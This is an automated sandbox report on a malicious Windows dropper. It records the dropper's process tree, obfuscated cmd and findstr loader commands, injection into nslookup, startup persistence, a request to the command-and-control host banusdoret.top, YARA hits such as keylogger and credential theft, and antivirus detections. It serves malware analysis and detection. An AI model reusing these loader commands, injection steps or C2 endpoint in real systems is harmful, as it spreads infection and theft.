Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	April 8, 2021, 5:45 p.m.	April 8, 2021, 5:52 p.m.

Size	1.3MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows, InstallShield self-extracting archive
MD5	`7e7012645cc3d6d3572bb01891fbcec1`
SHA256	`df116f3585f1fe4b00c351a2941f6b85565e1fcc6da5569c6f7c80ddd1b4e2a8`
CRC32	`8E76A4CC`
ssdeep	`24576:453uhFDHfQS65sxmN8CaEDtRcQv6sQVoRdJXUZCiF0YqlX7xpMyNIeFKtc8GCcm:45+hFDHOoGDvcC7UnF079pjOeYt3cm`
Yara	Malicious_Library_Zero - Malicious_Library screenshot - Take screenshot keylogger - Run a keylogger win_files_operation - Affect private profile PE_Header_Zero - PE File Signature Zero IsPE32 - (no description) IsWindowsGUI - (no description) IsPacked - Entropy Check HasOverlay - Overlay Check HasModified_DOS_Message - DOS Message Check

n.exe "C:\Users\test22\AppData\Local\Temp\n.exe"
5032
- svchost.exe "C:\Windows\System32\svchost.exe"
  4892
- cmd.exe "C:\Windows\System32\cmd.exe" /c CmD < Poi.vsd
  7636
  - cmd.exe CmD
    6096
    - findstr.exe findstr /V /R "^nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGmlTQMSJGkUUtRoHQkZmHLQyLLuVpnCdInRQPNWfBIsgQkprGKGWkWrUJtiyFXmiJDkGqaSrgKXZxBgABegmS$" Che.vsd
      4256
    - Gia.exe.com Gia.exe.com D
      8548
      - Gia.exe.com C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com D
        9132
        
        nslookup.exe C:\Windows\SysWOW64\nslookup.exe
        7552
    - PING.EXE ping 127.0.0.1 -n 30
      8104

Name	Response	Post-Analysis Lookup
zjZFqZYoOtpryMyR.zjZFqZYoOtpryMyR
banusdoret.top	A 8.208.95.18	8.208.95.18

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.217.25.14	Active	Moloch
8.208.95.18	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 8, 2021, 5:45 p.m.			0	0
IsDebuggerPresent April 8, 2021, 5:45 p.m.			0	0

Command line console output was observed (50 out of 1974 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: Microsoft Windows [Version 6.1.7601] console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: Copyright (c) 2009 Microsoft Corporation. All rights reserved. console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: gsbekfEpcPdLxwEGOzyfkLWYOpNQeLgmykCGtyKlKlWHdYoxwfppjYdCcmgeCOiJBQ=onXBJJVFwPgHPqzONBthiUqlFRIHVrjyAzZVrOAAdafNuRnwpqxovDnhnNWRqgJXCouvwbKYqEWOFjrNaGbVJtJXUMvdSJmeIalXLeqMfciSGKIkJomxQOgnmpBfqxustTyheuedGLGgWQdlrkHJlykU console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'gsbekfEpcPdLxwEGOzyfkLWYOpNQeLgmykCGtyKlKlWHdYoxwfppjYdCcmgeCOiJBQ' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: LnBALLUgQOMFcpDupNyoqCISskPNbiYIlpdHAPVZLZyeDFIwtDws=MrpPIpmWiRJPtxkTVFzSybqvGfLCNITuHBnyiSRFcrDovhnkbooYHnqfrMpzbXomXDiDVuLrNNbeTRqzQAyFmVnoBpwxIn console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'LnBALLUgQOMFcpDupNyoqCISskPNbiYIlpdHAPVZLZyeDFIwtDws' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: bUtlSyVfdvylTwXckLQDWSCZetZwMtsxfFZiPHihUkOpxKFiDOQISU=FayoOuUDjyLVheQGEECILrzFsmRbYgIBxxzPJnziqICtIPstNiktdkACYARggvFXblATIqWukcIeBfWCoNKQeDloTRQpHtSErEGngbcMky console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'bUtlSyVfdvylTwXckLQDWSCZetZwMtsxfFZiPHihUkOpxKFiDOQISU' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: VDbwJDguBLOVTZsqRpMnuCtZWIbgKsXFWKfFcQiGaXsSgJNmWbEDnGMamntwyqvlNpYoJMEweuu=kkLhUYsjNxudYXuXLuAsButyKEPpTCAaADuhNRuiJpvzeIlMGGfWFPHtiFCdoizlUOPcQTlUqaIaJLeexrDjjEMKVeyigQZBPjng console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'VDbwJDguBLOVTZsqRpMnuCtZWIbgKsXFWKfFcQiGaXsSgJNmWbEDnGMamntwyqvlNpYoJMEweuu' is not recognized as an internal or external command, operable program or batch f console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: ile. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: OWMvcWhufxcDAVtDuXdwymNNrFpzuCbjOpGiQQRHmEGHJEOUUXIgohNgoZaPMUZMXpPdfXNduIB=TurmRfnpTorAvsYRbeVFETKAObFWlaoALjcwWTXbcQTOugUXZVSrMWWZcCKzJCZBqCPpVWUEtnpNqWxADHXgmtOOdcGzpENTRsODnLwewgZhMoZmopQwEKwVOqTAdBcALdWIoReRGUhkyA console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'OWMvcWhufxcDAVtDuXdwymNNrFpzuCbjOpGiQQRHmEGHJEOUUXIgohNgoZaPMUZMXpPdfXNduIB' is not recognized as an internal or external command, operable program or batch f console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: ile. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: ivukZNMgudSObRBMmTmCvjdssiYcKbPQgYMrldcNYwQafeEqtoN=FXFVuOUSOdDIBeAmynBpbMDxcYegDYsCKvldzQWccDYIbiRjBtUFGDUTzlmoMFgPZwYtSlugByNUNVWgiPMntLVuCdWosOJQgpIvoMxsYFrAPqunhlwXSQKhyR console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'ivukZNMgudSObRBMmTmCvjdssiYcKbPQgYMrldcNYwQafeEqtoN' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: Set aFnLovYJRSxORYCiVmgxsvHKCcGWYDa=m console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: CkNtHCndkGKAqaPrQqKZiyRpPpBdnRssmiHjueyomijOGQlAgXRfzSjbxDgbq=RxfzwTLDWOUBAqSeDZZwwBZwYGUpRDNIiafSmjOdPLqrxRskFsZfbZydxgcxYBLzqjzoLqDslJjdBWGugIDADblojZblRzshq console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'CkNtHCndkGKAqaPrQqKZiyRpPpBdnRssmiHjueyomijOGQlAgXRfzSjbxDgbq' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: eobpAFNIyOMPObHgydXkQCekVLCzmQsYfUUbJyiYMUaccvlZCDhwfOQAujhOexpgbOmT=lEqoYmVpGPmBDQVCdIAtxsbSzWsLtYHXdcaYhSdfUdmvOhmEhLuyZPpSiiPeilyIiClibWfbalprSqtybNbaRCXBjARyegoKkQgjesudvINOFyZurJFzMMRFEJUWypxrenSeMRryGuWoPpViBLwz console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'eobpAFNIyOMPObHgydXkQCekVLCzmQsYfUUbJyiYMUaccvlZCDhwfOQAujhOexpgbOmT' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: OYnZIIavlkhhJMijXzjGmNFQIQxONcziwchAxerpKJvVJUubNUDsPMowzIsShEIORykhm=SUdeWQdJuNKXqTResfjkuLLlWuqIrDISXuwIqNPsLJBDofDPWPOWwhAipuyQQIGDtRZTRowEmUmbpowHClLgOMRJGUmUHZBreYnsfJXONlvuNeXwtnhFXaOaqdhWJuWAzvxkJKsShWAEdKVDXnQoMVyKpydZ console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'OYnZIIavlkhhJMijXzjGmNFQIQxONcziwchAxerpKJvVJUubNUDsPMowzIsShEIORykhm' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: qyGhWNsILszixaqSlefxJZldNObdKeDxavjRTdxWEVkubwsDySYrqFMwUdAodq=INZPXupZTIzPONtTLvTkRrAzMKlXCQjGEWCzbjzbWTycHPXgQbOLvOuFhFehVkvrvMlSlKcmevfYYtLWMWuteApQQXuSlyBKvwZVFyryegIqmiGoUyBZyswVCxwjEDfWVECWyQsGTweNRpdJsXXyECFtqraktQAmZMyUEKrrNUutfgtzraVGFpsaZbVwnyCeADN console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'qyGhWNsILszixaqSlefxJZldNObdKeDxavjRTdxWEVkubwsDySYrqFMwUdAodq' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: tvtGUUsKvBPMZYoMVUUQxMViOwFHsrDLAYfGhgMLSHWnHpwmXQiG=XKsAXSSgJzaXrkqJBnGioXMPvmFZyKAWXeDgXudvTvogEBEXwQcaAnAZXBrnhSoYSvZqIMLcolgMOnkVUIYfgocmCDdceSpqhlcoBDggtqldpNlmdiDEUSKKqmntvdzfqgnEerxszKkgXtdOaQyUgEucmLiwypSN console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'tvtGUUsKvBPMZYoMVUUQxMViOwFHsrDLAYfGhgMLSHWnHpwmXQiG' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: UfVfGvjNkllHcMVpJMFkmqvortsWajlRbHrPxmMxSurzVNrZjScbhCoTTMjBydcZqapOJ=OlZkaaXejfwsJAQMEVmpVIhlgCLtzDEgdyrkbelPVQAWANGUohOhfmluWOWPGTJJLMwDvFfCLJhtidKBWRWyPdZQVWgJyx console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'UfVfGvjNkllHcMVpJMFkmqvortsWajlRbHrPxmMxSurzVNrZjScbhCoTTMjBydcZqapOJ' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: eiRkOLebDYkCGkuYGtxTPXDUxMkIAdGvsAkXdyWPTzziDOaFOXIELAa=DXQwAzXjaOlyqpIBiEqvDvdGxGUCIwLQiyzzgUfmcuOODjEFfuvuAWBuGlHTmcEsrxYVPfjhgAqbIBriwgjBEEdkDjMth console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'eiRkOLebDYkCGkuYGtxTPXDUxMkIAdGvsAkXdyWPTzziDOaFOXIELAa' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: qqCbLpgJPZUpRZWtnyiASloeNnrMsDCiZTAZUkQTSamjGxNdgmOHXNDPSmJjyC=jbMpYmWphghHALVcaLNnROVljfLicBDOdqjPUlOQafAaKyrrWrsBarAbBCXIOOOMLmsAmyBoWWyBgCAukHkspecjmPhahyeDBOHkNDEQCoEcYYpZeQbuDvCIr console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: 'qqCbLpgJPZUpRZWtnyiASloeNnrMsDCiZTAZUkQTSamjGxNdgmOHXNDPSmJjyC' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x0000000b	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg> console_handle: 0x00000007	1	1
WriteConsoleW April 8, 2021, 5:45 p.m.	buffer: qJSpVQUBqmUgzIrxPqbZhBFgdvIVqyjYiIDUYzhOBbYJtNbOroHBk=RnrDSniZAUhViKyovcNInQDVpCZURRbKNtQtQxAPGCWrvpGMJVMjOCFqVixfmhiIbCoeTqswVXwVUmmqWjlWykWl console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 8, 2021, 5:45 p.m.		1	1	0

The executable uses a known packer (1 event)

packer

Armadillo v1.71

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (1 event)

request

GET https://banusdoret.top/5e65aaa67ea5c920748e191e17645c6a932f8796

Allocates read-write-execute memory (usually to unpack itself) (4 events)

Time & API	Arguments	Status
NtProtectVirtualMemory April 8, 2021, 5:45 p.m.	process_identifier: 5032 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 8, 2021, 5:45 p.m.	process_identifier: 8548 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory April 8, 2021, 5:45 p.m.	process_identifier: 9132 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 8, 2021, 5:45 p.m.	process_identifier: 9132 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (1 event)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW April 8, 2021, 5:45 p.m.	total_number_of_free_bytes: 0 free_bytes_available: 13295067136 root_path: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg total_number_of_bytes: 0	1	1	0

Creates executable files on the filesystem (3 events)

file	C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com
file	C:\Users\test22\AppData\Roaming\zPgFqFUsML\juROhmfLml.exe.com
file	C:\Users\test22\AppData\Roaming\zPgFqFUsML\wAYZqHgYEOdcYU.js

Creates a suspicious process (3 events)

cmdline	"C:\Windows\System32\cmd.exe" /c CmD < Poi.vsd
cmdline	"C:\Windows\System32\svchost.exe"
cmdline	svchost.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Roaming\zPgFqFUsML\juROhmfLml.exe.com

A process created a hidden window (2 events)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 8, 2021, 5:45 p.m.	show_type: 0 filepath_r: svchost.exe parameters: filepath: svchost.exe	1	1	0
ShellExecuteExW April 8, 2021, 5:45 p.m.	show_type: 0 filepath_r: cmd parameters: /c CmD < Poi.vsd filepath: cmd	1	1	0

Potentially malicious URLs were found in the process memory dump (3 events)

url	http://www.microsoft.com/schemas/ie8tldlistdescription/1.0
url	http://purl.org/rss/1.0/
url	http://www.passport.com

Yara rule detected in process memory (45 events)

description	Code injection with CreateRemoteThread in a remote process	rule	inject_thread
description	Hijack network configuration	rule	hijack_network
description	Create a windows service	rule	create_service
description	Create a COM server	rule	create_com_service
description	Communications over UDP network	rule	network_udp_sock
description	Listen for incoming communication	rule	network_tcp_listen
description	Communications over Toredo network	rule	network_toredo
description	Communications over P2P network	rule	network_p2p_win
description	Communications over HTTP	rule	network_http
description	File downloader/dropper	rule	network_dropper
description	Communications over FTP	rule	network_ftp
description	Communications over RAW socket	rule	network_tcp_socket
description	Communications use DNS	rule	network_dns
description	Communication using dga	rule	network_dga
description	Escalade priviledges	rule	escalate_priv
description	Take screenshot	rule	screenshot
description	Run a keylogger	rule	keylogger
description	Steal credential	rule	cred_local
description	Record Audio	rule	sniff_audio
description	APC queue tasks migration	rule	migrate_apc
description	Malware can spread east-west file	rule	spreading_file
description	Malware can spread east-west using share drive	rule	spreading_share
description	Create or check mutex	rule	win_mutex
description	Affect system registries	rule	win_registry
description	Affect system token	rule	win_token
description	Affect private profile	rule	win_private_profile
description	Affect private profile	rule	win_files_operation
description	Match Winsock 2 API library declaration	rule	Str_Win32_Winsock2_Library
description	Match Windows Inet API library declaration	rule	Str_Win32_Wininet_Library
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook

Created a process named as a common system process (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 5192 thread_handle: 0x00000294 process_identifier: 4892 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: C:\Windows\System32\svchost.exe track: 1 command_line: "C:\Windows\System32\svchost.exe" filepath_r: C:\Windows\System32\svchost.exe stack_pivoted: 0 creation_flags: 67634176 (CREATE_DEFAULT_ERROR_MODE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002b4	1	1	0
ShellExecuteExW April 8, 2021, 5:45 p.m.	show_type: 0 filepath_r: svchost.exe parameters: filepath: svchost.exe	1	1	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	ping 127.0.0.1 -n 30
cmdline	C:\Windows\SysWOW64\nslookup.exe

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: d1d87659c4602676a0ccd80b2f78b24acf7536c5

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 8, 2021, 5:45 p.m.	process_identifier: 7552 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 18182144 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x008c0000 process_handle: 0x00000210	1	0	0

Installs itself for autorun at Windows startup (1 event)

file	C:\Users\test22\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\juROhmfLml.url

Potential code injection by writing to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory April 8, 2021, 5:45 p.m.	buffer: ÿÿÿÿû~(ü~Pý~mèÿÿ jHâý~± base_address: 0x7efde000 process_identifier: 7552 process_handle: 0x00000210	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 9132 called NtSetContextThread to modify thread in remote process 7552
NtSetContextThread April 8, 2021, 5:45 p.m.	registers.eip: 2000355780 registers.esp: 1112768 registers.edi: 0 registers.eax: 9287568 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000208 process_identifier: 7552	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 6096 resumed a thread in remote process 8548
NtResumeThread April 8, 2021, 5:45 p.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 8548	1	0	0

File has been identified by 28 AntiVirus engines on VirusTotal as malicious (28 events)

Bkav	W32.AIDetect.malware2
FireEye	Generic.mg.7e7012645cc3d6d3
McAfee	Artemis!7E7012645CC3
Cylance	Unsafe
K7AntiVirus	Trojan ( 00579a381 )
Alibaba	Packed:Win32/Crypzip.826b312c
K7GW	Trojan ( 00579a381 )
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Packed.7zip.V suspicious
APEX	Malicious
Avast	Win32:Malware-gen
Kaspersky	UDS:DangerousObject.Multi.Generic
Paloalto	generic.ml
TrendMicro	TrojanSpy.Win32.ZYX.USMANCP21
McAfee-GW-Edition	BehavesLike.Win32.Ransomware.tc
Sophos	Mal/Generic-S
Microsoft	Trojan:Win32/Ymacco.AADF
AegisLab	Trojan.Multi.Generic.4!c
ZoneAlarm	HEUR:Trojan.Win32.Crypzip.gen
Cynet	Malicious (score: 100)
BitDefenderTheta	Gen:NN.ZexaF.34654.rr3@aWHFcAl
Malwarebytes	Trojan.Dropper.Generic
TrendMicro-HouseCall	TrojanSpy.Win32.ZYX.USMANCP21
Rising	Trojan.HiddenRun/SFX!1.D2BC (CLASSIC)
SentinelOne	Static AI - Malicious PE
Fortinet	Riskware/Crypzip
AVG	Win32:Malware-gen
Qihoo-360	Win32/Trojan.Generic.HyoDJuIA

Executed a process and injected code into it, probably while unpacking (17 events)

Time & API	Arguments	Status	Return
NtResumeThread April 8, 2021, 5:45 p.m.	thread_handle: 0x0000012c suspend_count: 1 process_identifier: 5032	1	0
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 5192 thread_handle: 0x00000294 process_identifier: 4892 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: C:\Windows\System32\svchost.exe track: 1 command_line: "C:\Windows\System32\svchost.exe" filepath_r: C:\Windows\System32\svchost.exe stack_pivoted: 0 creation_flags: 67634176 (CREATE_DEFAULT_ERROR_MODE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002b4	1	1
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 7400 thread_handle: 0x000002b8 process_identifier: 7636 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: C:\Windows\System32\cmd.exe track: 1 command_line: "C:\Windows\System32\cmd.exe" /c CmD < Poi.vsd filepath_r: C:\Windows\System32\cmd.exe stack_pivoted: 0 creation_flags: 67634176 (CREATE_DEFAULT_ERROR_MODE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000002d4	1	1
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 8956 thread_handle: 0x00000088 process_identifier: 6096 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: C:\Windows\System32\cmd.exe track: 1 command_line: CmD filepath_r: C:\Windows\system32\cmd.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x0000008c	1	1
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 8152 thread_handle: 0x0000008c process_identifier: 4256 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: C:\Windows\System32\findstr.exe track: 1 command_line: findstr /V /R "^nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGmlTQMSJGkUUtRoHQkZmHLQyLLuVpnCdInRQPNWfBIsgQkprGKGWkWrUJtiyFXmiJDkGqaSrgKXZxBgABegmS$" Che.vsd filepath_r: C:\Windows\system32\findstr.exe stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 4980 thread_handle: 0x00000090 process_identifier: 8548 current_directory: filepath: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com track: 1 command_line: Gia.exe.com D filepath_r: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com stack_pivoted: 0 creation_flags: 525328 (CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000094	1	1
NtResumeThread April 8, 2021, 5:45 p.m.	thread_handle: 0x00000090 suspend_count: 0 process_identifier: 8548	1	0
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 6200 thread_handle: 0x00000094 process_identifier: 8104 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: C:\Windows\System32\PING.EXE track: 1 command_line: ping 127.0.0.1 -n 30 filepath_r: C:\Windows\system32\PING.EXE stack_pivoted: 0 creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 1 process_handle: 0x00000090	1	1
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 1660 thread_handle: 0x0000012c process_identifier: 9132 current_directory: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg filepath: track: 1 command_line: C:\Users\test22\AppData\Roaming\QhXpJEISYfDvrPPKg\Gia.exe.com D filepath_r: stack_pivoted: 0 creation_flags: 0 () inherit_handles: 0 process_handle: 0x00000130	1	1
CreateProcessInternalW April 8, 2021, 5:45 p.m.	thread_identifier: 2196 thread_handle: 0x00000208 process_identifier: 7552 current_directory: filepath: track: 1 command_line: C:\Windows\SysWOW64\nslookup.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000210	1	1
NtGetContextThread April 8, 2021, 5:45 p.m.	thread_handle: 0x00000208	1	0
NtAllocateVirtualMemory April 8, 2021, 5:45 p.m.	process_identifier: 7552 region_size: 18182144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 4 (PAGE_READWRITE) base_address: 0x008c0000 allocation_type: 12289 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000210	1	0
WriteProcessMemory April 8, 2021, 5:45 p.m.	buffer: base_address: 0x008c0000 process_identifier: 7552 process_handle: 0x00000210	1	1
